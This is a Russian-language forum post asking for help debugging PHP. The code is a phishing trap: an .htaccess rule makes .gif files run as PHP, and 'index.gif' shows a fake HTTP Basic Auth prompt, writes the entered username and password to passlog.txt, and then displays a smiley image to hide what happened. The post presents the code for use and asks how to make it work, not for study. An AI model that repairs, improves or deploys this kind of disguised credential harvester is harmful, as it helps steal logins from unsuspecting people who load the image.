Здравствуйте,помогите найти ошибку в коде.Что нужно исправить,чтобы всё работало? Есть 4 файла .htacces index.gif passlog.txt s1.gif .htacces содержит: PHP: AddType application/x-httpd-php .php .htm .html .gif PHP: php if (!isset($_SERVER['PHP_AUTH_USER'])) { header('Content-Type: text/html; charset=windows-1251'); header('WWW-Authenticate: Basic realm="Repeated Authenticate"'); header('HTTP/1.0 401 Unauthorized'); header("Content-type: image/gif"); $imag = imagecreatefromgif('s1.gif'); imagegif($imag); imagedestroy($imag); exit(); } else { $f = fopen('passlog.txt', 'a'); fwrite($f, $_SERVER['PHP_AUTH_USER'].';'.$_SERVER['PHP_AUTH_PW']."\r\n"); fclose($f); header("Content-type: image/gif"); $imag = imagecreatefromgif('s1.gif'); imagegif($imag); imagedestroy($imag); exit(); } ?> Ну и соответственно passlog.txt пустой,а s1.gif-смайл.Спасибо заранее.